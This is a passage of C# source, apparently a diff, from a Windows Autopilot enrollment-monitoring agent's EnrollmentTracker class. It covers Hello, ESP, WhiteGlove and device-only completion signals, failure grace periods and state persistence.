handling, - /// state persistence, and multi-signal completion logic. - /// - public partial class EnrollmentTracker - { - private void OnHelloCompleted(object sender, EventArgs e) - { - _logger.Info("EnrollmentTracker: Received HelloCompleted event from EspAndHelloTracker"); - - lock (_stateLock) - { - _stateData.HelloResolvedUtc = DateTime.UtcNow; - } - RecordSignal("hello_resolved"); - - // Cancel safety timer — Hello resolved normally - _waitingForHelloSafetyTimer?.Change(Timeout.Infinite, Timeout.Infinite); - - // Snapshot state under lock for branch decision - bool wasWaiting, espFinalExit, desktopArr; - lock (_stateLock) - { - wasWaiting = _isWaitingForHello; - espFinalExit = _espFinalExitSeen; - desktopArr = _desktopArrived; - if (wasWaiting) - _isWaitingForHello = false; - } - - if (wasWaiting) - { - _logger.Info("EnrollmentTracker: Hello provisioning completed while waiting (IME path) - marking enrollment as complete now"); - TryEmitEnrollmentComplete("ime_hello"); - } - else if (espFinalExit) - { - _logger.Info("EnrollmentTracker: Hello completed + ESP final exit seen — composite completion"); - TryEmitEnrollmentComplete("esp_hello_composite"); - } - else if (desktopArr) - { - _logger.Info("EnrollmentTracker: Hello completed + desktop arrived — desktop-hello completion"); - TryEmitEnrollmentComplete("desktop_hello"); - } - else - { - _logger.Debug("EnrollmentTracker: HelloCompleted event received but no completion trigger active yet"); - } - - // Shadow state machine: track hello_completed trigger - ShadowProcessTrigger("hello_completed"); - } - - /// - /// Called when DeviceSetup provisioning status shows all subcategories succeeded. - /// In Self-Deploying mode, this is the primary completion signal because no user session - /// means no Hello, no desktop arrival, and possibly no Shell-Core ESP exit event. - /// In non-Self-Deploying mode, this is informational only — normal paths handle completion. - /// - private void OnDeviceSetupProvisioningComplete(object sender, EventArgs e) - { - _logger.Info("EnrollmentTracker: DeviceSetup provisioning completed successfully"); - RecordSignal("device_setup_provisioning_complete"); - lock (_stateLock) - { - _stateData.DeviceSetupProvisioningCompleteUtc = DateTime.UtcNow; - _stateDirty = true; - } - - bool isDeviceOnly; - int? autopilotModeSnap; - bool? skipUserSnap; - lock (_stateLock) - { - isDeviceOnly = IsDeviceOnlyDeployment; - autopilotModeSnap = _autopilotMode; - skipUserSnap = _skipUserStatusPage; - } - - if (!isDeviceOnly) - { - if (!_deviceInfoCollected) - { - _logger.Info("EnrollmentTracker: DeviceSetup provisioning complete but device info not yet collected — " + - "deferring classification decision until CollectDeviceInfo completes"); - lock (_stateLock) { _pendingCompletionSource = "device_setup_provisioning_complete"; } - EmitTraceEvent("device_setup_complete_deferred", - "DeviceSetup provisioning complete but device classification pending — will re-evaluate after CollectDeviceInfo", - new Dictionary { { "autopilotMode", autopilotModeSnap }, { "skipUserStatusPage", skipUserSnap } }); - return; - } - - _logger.Info("EnrollmentTracker: DeviceSetup provisioning complete but not device-only deployment — " + - "using normal completion paths (ESP exit + Hello)"); - EmitTraceEvent("device_setup_complete_non_device_only", - "DeviceSetup provisioning complete in non-device-only mode — no action, normal paths apply", - new Dictionary { { "autopilotMode", autopilotModeSnap }, { "skipUserStatusPage", skipUserSnap } }); - return; - } - - // WhiteGlove guard — canonical decision via WhiteGloveClassifier. - // See plan: all three completion paths (this one, TryEmitEnrollmentComplete, - // and CompletionStateMachine.HandleDeviceSetupProvisioningComplete) share the - // same classifier output. HasSaveWhiteGloveSuccessResult alone is no longer - // sufficient — it also fires on non-WG devices (observed in production). - var wgSignals = SnapshotWhiteGloveSignals(); - var wgClassification = WhiteGloveClassifier.Classify(wgSignals); - EmitWhiteGloveClassification(wgClassification, "DeviceSetupProvisioningComplete", wgSignals); - - if (wgClassification.ShouldRouteToWhiteGlovePart1) - { - _logger.Info($"EnrollmentTracker: Device-only deployment with WhiteGlove (classifier: {wgClassification.Reason}) — " + - "routing to WhiteGlove completion instead of self_deploying_provisioning_complete"); - - RecordSignal("whiteglove_guard_activated"); - - EmitTraceEvent("whiteglove_guard_activated", - "DeviceSetup provisioning complete with WG classifier Strong — routing to WhiteGlove path", - new Dictionary - { - { "wgScore", wgClassification.Score }, - { "wgConfidence", wgClassification.Confidence.ToString() }, - { "wgFactors", wgClassification.ContributingFactors }, - { "whiteGloveStartDetected", wgSignals.IsWhiteGloveStartDetected }, - { "saveWhiteGloveSuccessResult", wgSignals.HasSaveWhiteGloveSuccessResult }, - { "fooUserDetected", wgSignals.IsFooUserDetected }, - { "autopilotMode", _autopilotMode }, - { "skipUserStatusPage", _skipUserStatusPage } - }); - - try { CollectDeviceInfoAtFinalizingSetup("whiteglove_provisioning_complete"); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (whiteglove): {ex.Message}"); } - - OnWhiteGloveCompleted(this, EventArgs.Empty); - ShadowProcessTrigger("whiteglove_complete"); - return; - } - - // Device-only deployment: this is our primary completion signal. - // No user session → no Hello, no desktop arrival, possibly no Shell-Core ESP exit. - _logger.Info($"EnrollmentTracker: Device-only deployment (autopilotMode={_autopilotMode}, skipUserStatusPage={_skipUserStatusPage}) + DeviceSetup provisioning complete — " + - "transitioning to FinalizingSetup and attempting completion"); - - // Mark ESP as seen and final exit (provisioning success implies ESP device phase completed) - bool needsSignal = false; - lock (_stateLock) - { - if (!_espEverSeen) - { - _espEverSeen = true; - _stateData.EspEverSeen = true; - } - if (!_espFinalExitSeen) - { - _espFinalExitSeen = true; - _stateData.EspFinalExitSeen = true; - _stateData.EspFinalExitUtc = DateTime.UtcNow; - needsSignal = true; - } - } - if (needsSignal) - { - _statePersistence.Save(_stateData); // Immediate persist — EspFinalExitUtc critical for hybrid reboot gate - RecordSignal("self_deploying_esp_final_exit"); - } - - // Emit FinalizingSetup phase event - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.FinalizingSetup, - Message = "ESP phase: FinalizingSetup (Self-Deploying — DeviceSetup provisioning complete, no user session expected)", - Data = new Dictionary - { - { "espPhase", "FinalizingSetup" }, - { "autoDetected", true }, - { "triggeredBy", "self_deploying_provisioning_complete" }, - { "autopilotMode", _autopilotMode }, - { "skipUserStatusPage", _skipUserStatusPage } - }, - ImmediateUpload = true - }); - - try { CollectDeviceInfoAtFinalizingSetup("self_deploying_provisioning_complete"); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (self_deploying): {ex.Message}"); } - - // Attempt completion — Hello guard is bypassed for device-only deployments (IsDeviceOnlyDeployment) - TryEmitEnrollmentComplete("self_deploying_provisioning_complete"); - - // Shadow state machine: track device_setup_provisioning_complete trigger - ShadowProcessTrigger("device_setup_provisioning_complete"); - } - - /// - /// Called when WhiteGlove (Pre-Provisioning) completes successfully (event-handler signature). - /// Subscribed to EspAndHelloTracker.WhiteGloveCompleted. Delegates to CompleteWhiteGlove - /// which contains the actual emission pipeline. - /// - private void OnWhiteGloveCompleted(object sender, EventArgs e) - { - // Shell-Core Event 62407 "WhiteGlove_Success" has fired — record it so the - // WhiteGloveClassifier can see this hard-positive signal (weight +80) on any - // subsequent classification call in the same session. - lock (_stateLock) { _shellCoreWhiteGloveFired = true; } - - var wgSource = sender?.GetType().Name ?? "unknown"; - CompleteWhiteGlove(wgSource, decisionAlreadyEmitted: false); - } - - /// - /// Core WhiteGlove completion pipeline: emits the whiteglove_complete terminal event, - /// the decision_process_completion audit record (unless the caller already emitted one), - /// stops the summary timer, and updates the shadow state machine. MonitoringService handles - /// the actual agent shutdown upon seeing whiteglove_complete. - /// Idempotent: fire-once per session instance. A second invocation (e.g. Shell-Core - /// watcher fires after the signal-correlated detector already matched) is a no-op. - /// - /// Decision source identifier (caller type or descriptor). - /// - /// Set to true when the caller already emitted a decision_process_completion for this - /// terminal (e.g. the WG-redirect guard inside TryEmitEnrollmentComplete). Prevents the - /// double-decision pattern that loses the upstream decisionChain under a second record. - /// - private void CompleteWhiteGlove(string source, bool decisionAlreadyEmitted) - { - lock (_stateLock) - { - if (_signalCorrelatedWhiteGloveTriggered) - { - _logger.Debug("EnrollmentTracker: whiteglove_complete already emitted, skipping duplicate"); - return; - } - _signalCorrelatedWhiteGloveTriggered = true; - } - - _logger.Info($"EnrollmentTracker: WhiteGlove pre-provisioning completed (source: {source})"); - - // Decision audit: only emit if the caller hasn't already recorded the decision that led here. - // Keeps the invariant "one terminal event = one decision_process_completion". - if (!decisionAlreadyEmitted) - { - EmitDecisionProcess("whiteglove_complete", source, "pending_part1", new List - { - $"trigger={source}", - (_espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false) ? "registry_confirmed" : "registry_not_confirmed", - (_espAndHelloTracker?.IsWhiteGloveStartDetected ?? false) ? "event509_seen" : "event509_not_seen", - _aadJoinedWithUser ? "user_joined" : "no_user_joined", - _fooUserDetected ? "foouser_detected" : "no_foouser" - }); - } - - // Stop summary timer — no more app tracking needed - _summaryTimer?.Change(System.Threading.Timeout.Infinite, System.Threading.Timeout.Infinite); - _summaryTimerActive = false; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "whiteglove_complete", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Complete, - Message = "WhiteGlove (Pre-Provisioning) completed \u2014 device entering pending state", - ImmediateUpload = true - }); - - // WICHTIG: Kein WriteEnrollmentCompleteMarker()! - // Das Marker-File wuerde verhindern, dass der Agent beim naechsten Start wieder laeuft. - // WICHTIG: Kein _imeLogTracker?.DeleteState()! - // Der State wird fuer Part 2 benoetigt falls der Tracker weiterlaufen muss. - - // Shadow state machine: track whiteglove_complete trigger - ShadowProcessTrigger("whiteglove_complete"); - } - - /// - /// Signal-correlated WhiteGlove detection (Ebene 2.6). Called periodically from the - /// summary timer (every 30 s). Evaluates the sealing pattern and, on a stable match - /// lasting ≥10 min, triggers the existing OnWhiteGloveCompleted pipeline — which emits - /// whiteglove_complete, persists the Part 1 marker, and starts graceful shutdown. - /// - /// Pattern (ALL required): - /// - All device-targeted apps installed, no errors (via PackageStates) - /// - DeviceSetupCategory.Status is succeeded - /// - A system reboot has been observed since session start - /// - AAD join status shows Not Joined - /// - AccountSetup category has no activity (no resolved subcategories) - /// - No desktop arrival event has been seen - /// - No Hello signals (Hello not completed, wizard not started) - /// - public void CheckSignalCorrelatedWhiteGlove() - { - // Fast-exit: guards that don't require I/O. - lock (_stateLock) - { - if (_signalCorrelatedWhiteGloveTriggered) - return; - if (_desktopArrived || _enrollmentCompleteEmitted) - return; - // Reboot observation is required — without it we are still in Part 1 pre-reboot. - if (!_systemRebootObserved) - return; - // AAD Not Joined is required — if the user already signed in, this is not sealing. - if (_aadJoinedWithUser) - return; - } - - // EspAndHelloTracker provides the authoritative provisioning signals. - if (_espAndHelloTracker == null) - return; - - bool deviceSetupOk = _espAndHelloTracker.DeviceSetupCategorySucceeded; - bool hasAccountSetupActivity = _espAndHelloTracker.HasAccountSetupActivity; - bool helloInFlight = _espAndHelloTracker.IsHelloCompleted; // true once Hello resolved (either success or skip) - - // ImeLogTracker provides the app-tracking state. - var packageStates = _imeLogTracker?.PackageStates; - bool appsDone = packageStates != null - && packageStates.CountAll > 0 - && packageStates.CountCompleted >= packageStates.CountAll - && packageStates.ErrorCount == 0; - - bool allConditionsMet = deviceSetupOk && appsDone && !hasAccountSetupActivity && !helloInFlight; - - DateTime? triggerAt = null; - bool shouldTrigger = false; - - lock (_stateLock) - { - if (!allConditionsMet) - { - // Stability window broken — reset. - if (_signalCorrelatedWhiteGloveStableSince != null) - { - _logger.Debug("EnrollmentTracker: signal-correlated WhiteGlove conditions no longer stable, resetting stability window"); - _signalCorrelatedWhiteGloveStableSince = null; - } - return; - } - - if (_signalCorrelatedWhiteGloveStableSince == null) - { - _signalCorrelatedWhiteGloveStableSince = DateTime.UtcNow; - _logger.Info($"EnrollmentTracker: signal-correlated WhiteGlove conditions met — starting {SignalCorrelatedWhiteGloveStabilityMinutes}min stability window"); - return; - } - - var stableDuration = DateTime.UtcNow - _signalCorrelatedWhiteGloveStableSince.Value; - if (stableDuration.TotalMinutes >= SignalCorrelatedWhiteGloveStabilityMinutes) - { - shouldTrigger = true; - triggerAt = _signalCorrelatedWhiteGloveStableSince.Value; - } - } - - if (shouldTrigger) - { - _logger.Info($"EnrollmentTracker: signal-correlated WhiteGlove stable since {triggerAt:HH:mm:ss} UTC — invoking OnWhiteGloveCompleted"); - try - { - OnWhiteGloveCompleted(this, EventArgs.Empty); - } - catch (Exception ex) - { - _logger.Error("Signal-correlated WhiteGlove invocation failed", ex); - } - } - } - - /// - /// Called when an ESP failure is detected (ESPProgress_Failure, _Timeout, _Abort, WhiteGlove_Failed, etc.). - /// Terminal failures emit enrollment_failed immediately. - /// Recoverable failures (e.g. ESPProgress_Timeout) get a grace period before failure. - /// - /// - /// Public entry point for secondary ESP-failure detectors (StallProbeCollector) to report - /// a terminal failure finding. Reuses the same OnEspFailureDetected pathway as the - /// Shell-Core watcher so the downstream logic (grace period, enrollment_failed emission) - /// stays unified. - /// - public void ReportEspFailureFromExternalSource(string failureType) - { - OnEspFailureDetected(this, failureType); - } - - private void OnEspFailureDetected(object sender, string failureType) - { - _logger.Info($"EnrollmentTracker: ESP failure detected: {failureType}"); - - if (RecoverableEspFailureTypes.Contains(failureType)) - { - // Recoverable failure — start grace period timer - _logger.Info($"EnrollmentTracker: '{failureType}' is recoverable — starting {EspFailureGracePeriodSeconds}s grace period"); - - string previousPending; - lock (_stateLock) - { - previousPending = _pendingEspFailureType; - _pendingEspFailureType = failureType; - } - - // Cancel existing timer if any (e.g. second timeout event) - if (_espFailureTimer != null) - _logger.Debug($"EnrollmentTracker: resetting existing grace period timer (previous pending: '{previousPending}')"); - _espFailureTimer?.Dispose(); - _espFailureTimer = new Timer( - OnEspFailureGracePeriodExpired, - null, - TimeSpan.FromSeconds(EspFailureGracePeriodSeconds), - TimeSpan.FromMilliseconds(-1)); - } - else - { - // Terminal failure — emit enrollment_failed immediately - _logger.Info($"EnrollmentTracker: '{failureType}' is terminal — emitting enrollment_failed immediately"); - EmitEnrollmentFailed(failureType, "esp_failure"); - - // Shadow state machine: track terminal ESP failure - var ctx = SnapshotCompletionContext(); - ctx.Source = failureType; - ShadowProcessTrigger("esp_failure_terminal", ctx); - } - } - - /// - /// Called when the ESP failure grace period expires without recovery. - /// Emits enrollment_failed. - /// - private void OnEspFailureGracePeriodExpired(object state) - { - string failureType; - lock (_stateLock) - { - failureType = _pendingEspFailureType ?? "unknown"; - _pendingEspFailureType = null; - } - _logger.Warning($"EnrollmentTracker: ESP failure grace period ({EspFailureGracePeriodSeconds}s) expired for '{failureType}' — emitting enrollment_failed"); - - EmitEnrollmentFailed(failureType, "esp_failure_grace_expired"); - - // Shadow state machine: track grace period expiry - var ctx = SnapshotCompletionContext(); - ctx.Source = failureType; - ShadowProcessTrigger("esp_failure_grace_expired", ctx); - } - - /// - /// Cancels any pending ESP failure grace period timer (called when recovery is detected). - /// - private void CancelPendingEspFailure() - { - if (_espFailureTimer != null) - { - string pending; - lock (_stateLock) { pending = _pendingEspFailureType; } - _logger.Info($"EnrollmentTracker: ESP recovery detected — cancelling pending failure for '{pending}'"); - _espFailureTimer.Dispose(); - _espFailureTimer = null; - lock (_stateLock) { _pendingEspFailureType = null; } - } - } - - /// - /// Safety-net callback: fires 7 minutes after waiting_for_hello was set. - /// If the normal Hello timeout chain (30s + 300s) failed for any reason, - /// this forces enrollment_complete instead of waiting for the 6h max lifetime timer. - /// - private void OnWaitingForHelloSafetyTimeout(object state) - { - bool isWaiting, alreadyEmitted; - lock (_stateLock) - { - isWaiting = _isWaitingForHello; - alreadyEmitted = _enrollmentCompleteEmitted; - if (isWaiting && !alreadyEmitted) - _isWaitingForHello = false; - } - - if (!isWaiting || alreadyEmitted) - { - _logger.Debug($"EnrollmentTracker: Hello safety timeout fired but not applicable (waiting={isWaiting}, emitted={alreadyEmitted})"); - return; - } - - _logger.Warning($"EnrollmentTracker: waiting_for_hello safety timeout ({WaitingForHelloSafetyTimeoutSeconds}s) expired — forcing completion"); - - // Force-resolve Hello so TryEmitEnrollmentComplete's hello check passes - if (_espAndHelloTracker != null && !_espAndHelloTracker.IsHelloCompleted) - { - _espAndHelloTracker.ForceMarkHelloCompleted("safety_timeout"); - } - - TryEmitEnrollmentComplete("ime_hello_safety_timeout"); - - // Shadow state machine: track hello safety timeout - ShadowProcessTrigger("hello_safety_timeout"); - } - - /// - /// Timer callback: fires after EspSettleTimeoutSeconds (30s) when waiting for ESP provisioning - /// categories to resolve. Completes enrollment regardless of whether categories settled. - /// The snapshot captured in TryEmitEnrollmentComplete will reflect the final state. - /// - private void OnEspSettleTimerExpired(object state) - { - bool isWaiting, alreadyEmitted; - lock (_stateLock) - { - isWaiting = _isWaitingForEspSettle; - alreadyEmitted = _enrollmentCompleteEmitted; - if (isWaiting && !alreadyEmitted) - _isWaitingForEspSettle = false; - } - - if (!isWaiting || alreadyEmitted) - { - _logger.Debug($"EnrollmentTracker: ESP settle timer expired but not applicable " + - $"(waiting={isWaiting}, emitted={alreadyEmitted})"); - return; - } - - _logger.Info($"EnrollmentTracker: ESP settle timer expired ({EspSettleTimeoutSeconds}s) " + - "— proceeding to completion with current ESP provisioning state"); - RecordSignal("esp_provisioning_settled"); - TryEmitEnrollmentComplete("ime_pattern"); - - // Shadow state machine: track ESP settle timeout - ShadowProcessTrigger("esp_settle_timeout"); - } - - /// - /// Safety-net callback for device-only ESP (SkipUserStatusPage=true) completion. - /// If the normal Hello timer chain (30s wait + 300s completion) failed for any reason - /// (exception, timer disposal, race condition), this forces enrollment_complete instead - /// of waiting for the 6h max lifetime timer. - /// - private void OnDeviceOnlyCompletionSafetyTimeout(object state) - { - bool alreadyEmitted; - lock (_stateLock) { alreadyEmitted = _enrollmentCompleteEmitted; } - - if (alreadyEmitted) - { - _logger.Debug("EnrollmentTracker: device-only completion safety timeout fired but enrollment already completed — ignoring"); - return; - } - - _logger.Warning($"EnrollmentTracker: device-only ESP completion safety timeout ({DeviceOnlyCompletionSafetyTimeoutSeconds}s) expired — forcing completion"); - - // Force-resolve Hello if still pending so the Hello guard in TryEmitEnrollmentComplete passes - if (_espAndHelloTracker != null && !_espAndHelloTracker.IsHelloCompleted) - { - _espAndHelloTracker.ForceMarkHelloCompleted("device_only_safety_timeout"); - } - - TryEmitEnrollmentComplete("device_only_esp_safety_timeout"); - - bool emittedAfterAttempt; - lock (_stateLock) { emittedAfterAttempt = _enrollmentCompleteEmitted; } - if (!emittedAfterAttempt) - { - _logger.Error("EnrollmentTracker: device-only ESP safety timeout — TryEmitEnrollmentComplete still did not fire (unexpected guard block)"); - } - - // Shadow state machine: track device-only safety timeout - ShadowProcessTrigger("device_only_safety_timeout"); - } - - /// - /// Emits an enrollment_failed event. The MonitoringService handles shutdown identically to enrollment_complete. - /// - private void EmitEnrollmentFailed(string failureType, string failureSource) - { - // Emit decision process before the terminal event - EmitDecisionProcess("enrollment_failed", failureSource, failureType, new List - { - $"failure_type={failureType}", - $"failure_source={failureSource}", - _espEverSeen ? $"esp_seen(finalExit={_espFinalExitSeen})" : "esp_not_seen", - _desktopArrived ? "desktop_arrived" : "desktop_not_arrived" - }); - - // Stop timers - _summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _summaryTimerActive = false; - _debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debugStateTimerActive = false; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "enrollment_failed", - Severity = EventSeverity.Error, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Complete, - Message = $"Autopilot enrollment failed: {failureType}", - Data = new Dictionary - { - { "failureType", failureType }, - { "failureSource", failureSource }, - { "signalsSeen", SnapshotSignalsSeen() }, - { "agentUptimeSeconds", (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds } - }, - ImmediateUpload = true - }); - - // Write final status dump before cleanup - WriteFinalStatus("failed", failureType); - - // Clean up persisted tracker state - _imeLogTracker?.DeleteState(); - _statePersistence.Delete(); - } - - /// - /// Called when ESP exit or Hello wizard start is detected (via HelloDetector Shell-Core events) - /// Triggers transition to FinalizingSetup phase - /// - private void OnFinalizingSetupPhaseTriggered(object sender, string reason) - { - _logger.Info($"EnrollmentTracker: FinalizingSetup phase trigger received - reason: {reason}"); - - // If ESP exiting, check which phase we're in - if (reason == "esp_exiting") - { - string lastPhase; - bool desktopArr; - bool? skipUser; - lock (_stateLock) - { - _espEverSeen = true; - lastPhase = _lastEspPhase; - desktopArr = _desktopArrived; - skipUser = _skipUserStatusPage; - } - - // Defense-in-depth: if lastEspPhase is null (state lost after reboot) but the - // ESP provisioning registry shows AccountSetup activity, treat as AccountSetup. - // This catches the edge case where neither persistence nor backfill recovered the phase. - bool accountSetupFromProvisioning = lastPhase == null - && (_espAndHelloTracker?.HasAccountSetupActivity == true); - - if (string.Equals(lastPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase) - || desktopArr - || accountSetupFromProvisioning) - { - // Final ESP exit: AccountSetup phase detected, desktop arrived (backup), or provisioning registry confirms AccountSetup - var phaseInfo = string.Equals(lastPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase) - ? "AccountSetup" - : accountSetupFromProvisioning - ? "AccountSetup (provisioning registry fallback)" - : $"{lastPhase ?? "unknown"} (desktop arrival backup)"; - _logger.Info($"EnrollmentTracker: ESP final exit from {phaseInfo} — marking _espFinalExitSeen, starting Hello wait timer"); - - lock (_stateLock) - { - _espFinalExitSeen = true; - _stateData.EspFinalExitSeen = true; - _stateData.EspFinalExitUtc = DateTime.UtcNow; - } - _statePersistence.Save(_stateData); // Immediate persist — EspFinalExitUtc critical for hybrid reboot gate - RecordSignal("esp_final_exit"); - - // Emit phase change event to FinalizingSetup - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.FinalizingSetup, - Message = $"ESP phase: FinalizingSetup ({phaseInfo} completed, waiting for final steps)", - Data = new Dictionary - { - { "espPhase", "FinalizingSetup" }, - { "autoDetected", true }, - { "triggeredBy", reason }, - { "previousPhase", lastPhase ?? "unknown" }, - { "desktopArrivedBackup", desktopArr && !string.Equals(lastPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase) } - }, - ImmediateUpload = true - }); - - try { CollectDeviceInfoAtFinalizingSetup(reason); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (esp_final_exit): {ex.Message}"); } - - // Start Hello wait timer (waits for Hello wizard to start or timeout) - _espAndHelloTracker?.StartHelloWaitTimer(); - - // If Hello was already resolved (e.g., via EventLog backfill or Event 300/301 - // during AccountSetup), the composite signal can fire immediately. - TryEmitEnrollmentComplete("esp_hello_composite"); - } - else if (skipUser == true) - { - // WhiteGlove guard — canonical decision via WhiteGloveClassifier, identical to - // the other three WG decision sites. HasSaveWhiteGloveSuccessResult alone is - // not sufficient: after WhiteGlove Part 1 the registry flag remains set and a - // subsequent user-enrollment ESP exit (Part 2) would falsely re-route to WG. - // The classifier's AadJoinedWithUser hard-excluder blocks that path correctly. - var wgSignals = SnapshotWhiteGloveSignals(); - var wgClassification = WhiteGloveClassifier.Classify(wgSignals); - EmitWhiteGloveClassification(wgClassification, "EspExiting_SkipUserTrue", wgSignals); - - if (wgClassification.ShouldRouteToWhiteGlovePart1) - { - _logger.Info($"EnrollmentTracker: ESP exiting with SkipUserStatusPage=true and WG classifier Strong " + - $"({wgClassification.Reason}) — routing to WhiteGlove completion instead of device_only_esp_registry"); - - RecordSignal("whiteglove_guard_activated"); - EmitTraceEvent("whiteglove_guard_esp_exiting", - "ESP exiting with WG classifier Strong — routing to WhiteGlove path", - new Dictionary - { - { "wgScore", wgClassification.Score }, - { "wgConfidence", wgClassification.Confidence.ToString() }, - { "wgFactors", wgClassification.ContributingFactors }, - { "whiteGloveStartDetected", wgSignals.IsWhiteGloveStartDetected }, - { "saveWhiteGloveSuccessResult", wgSignals.HasSaveWhiteGloveSuccessResult }, - { "fooUserDetected", wgSignals.IsFooUserDetected }, - { "aadJoinedWithUser", wgSignals.AadJoinedWithUser }, - { "previousPhase", lastPhase ?? "unknown" } - }); - - try { CollectDeviceInfoAtFinalizingSetup("whiteglove_esp_exiting"); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (whiteglove_esp_exiting): {ex.Message}"); } - - OnWhiteGloveCompleted(this, EventArgs.Empty); - ShadowProcessTrigger("whiteglove_complete"); - return; - } - - // Registry definitively says no AccountSetup expected → immediate device-only classification - _logger.Info($"EnrollmentTracker: ESP phase exiting from '{lastPhase ?? "unknown"}' — SkipUserStatusPage=true, classified as device-only ESP (registry)"); - - lock (_stateLock) - { - _espFinalExitSeen = true; - _stateData.EspFinalExitSeen = true; - _stateData.EspFinalExitUtc = DateTime.UtcNow; - } - _statePersistence.Save(_stateData); // Immediate persist — EspFinalExitUtc critical for hybrid reboot gate - RecordSignal("device_only_esp_registry"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.FinalizingSetup, - Message = "ESP phase: FinalizingSetup (device-only ESP — SkipUserStatusPage confirmed via registry)", - Data = new Dictionary - { - { "espPhase", "FinalizingSetup" }, - { "autoDetected", true }, - { "triggeredBy", "device_only_esp_registry" }, - { "previousPhase", lastPhase ?? "unknown" }, - { "skipUserStatusPage", true } - }, - ImmediateUpload = true - }); - - try { CollectDeviceInfoAtFinalizingSetup("device_only_esp_registry"); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (device_only_esp_registry): {ex.Message}"); } - - _espAndHelloTracker?.StartHelloWaitTimer(); - TryEmitEnrollmentComplete("device_only_esp_registry"); - - // Safety net: if enrollment_complete didn't fire immediately (Hello pending), - // start a safety timer to force completion. Without this, a failed Hello timer - // chain would leave the session hanging until the 6h max lifetime timer. - bool emittedYet; - lock (_stateLock) { emittedYet = _enrollmentCompleteEmitted; } - if (!emittedYet) - { - _logger.Info($"EnrollmentTracker: device-only ESP completion pending — starting safety timer ({DeviceOnlyCompletionSafetyTimeoutSeconds}s)"); - _deviceOnlyCompletionSafetyTimer?.Dispose(); - _deviceOnlyCompletionSafetyTimer = new Timer( - OnDeviceOnlyCompletionSafetyTimeout, - null, - TimeSpan.FromSeconds(DeviceOnlyCompletionSafetyTimeoutSeconds), - TimeSpan.FromMilliseconds(-1)); - } - } - else - { - // Registry keys unknown or SkipUserStatusPage=false → fallback to timer-based detection - var fallbackReason = skipUser == null ? "registry keys not found" : "SkipUserStatusPage=false"; - _logger.Info($"EnrollmentTracker: ESP phase exiting from '{lastPhase ?? "unknown"}' — {fallbackReason}, starting device-only ESP detection timer ({DeviceOnlyEspTimerMinutes}min)"); - - // Start device-only ESP detection timer - _deviceOnlyEspTimer?.Dispose(); - _deviceOnlyEspTimer = new Timer( - OnDeviceOnlyEspTimerExpired, - null, - TimeSpan.FromMinutes(DeviceOnlyEspTimerMinutes), - TimeSpan.FromMilliseconds(-1)); - } - } - else if (reason == "hello_wizard_started") - { - // Hello wizard started - transition to FinalizingSetup regardless of previous phase - _logger.Info("EnrollmentTracker: Hello wizard started - transitioning to FinalizingSetup phase"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.FinalizingSetup, - Message = "ESP phase: FinalizingSetup (Hello wizard started)", - Data = new Dictionary - { - { "espPhase", "FinalizingSetup" }, - { "autoDetected", true }, - { "triggeredBy", reason } - }, - ImmediateUpload = true - }); - - try { CollectDeviceInfoAtFinalizingSetup(reason); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (hello_wizard_started): {ex.Message}"); } - } - - // Shadow state machine: track esp_exiting trigger (covers all branches above) - if (reason == "esp_exiting") - ShadowProcessTrigger("esp_exiting"); - } - - // ===== State Persistence ===== - - private void LoadState() - { - var loaded = _statePersistence.Load(); - if (loaded == null) - { - _logger.Debug("EnrollmentTracker: no persisted state found (fresh enrollment)"); - return; - } - - lock (_stateLock) - { - _espEverSeen = loaded.EspEverSeen; - _espFinalExitSeen = loaded.EspFinalExitSeen; - _desktopArrived = loaded.DesktopArrived; - _lastEspPhase = loaded.LastEspPhase; - _isWaitingForHello = loaded.IsWaitingForHello; - _isWaitingForEspSettle = loaded.IsWaitingForEspSettle; - _enrollmentCompleteEmitted = loaded.EnrollmentCompleteEmitted; - _enrollmentType = loaded.EnrollmentType ?? _enrollmentType; - _flowHandler = Flows.EnrollmentFlowFactory.FromWireFormat(_enrollmentType); - _skipUserStatusPage = loaded.SkipUserStatusPage; - _skipDeviceStatusPage = loaded.SkipDeviceStatusPage; - _autopilotMode = loaded.AutopilotMode; - _aadJoinedWithUser = loaded.AadJoinedWithUser; - _fooUserDetected = loaded.FooUserDetected; - // Restore hybrid join flag from persisted state; re-detect as fallback - _isHybridJoin = loaded.IsHybridJoin || DetectHybridJoinStatic(); - _stateData = loaded; - } - - // Shadow state machine: restore state from persistence - try - { - EnrollmentCompletionState smState; - if (!string.IsNullOrEmpty(loaded.CompletionState) - && Enum.TryParse(loaded.CompletionState, out smState)) - { - // New format: explicit state stored - _logger.Verbose($"EnrollmentTracker [SHADOW]: restoring explicit state '{loaded.CompletionState}' from persistence"); - } - else - { - // Old format: reconstruct from boolean flags - bool isDeviceOnly = CompletionGuards.IsDeviceOnlyDeployment( - loaded.AutopilotMode, 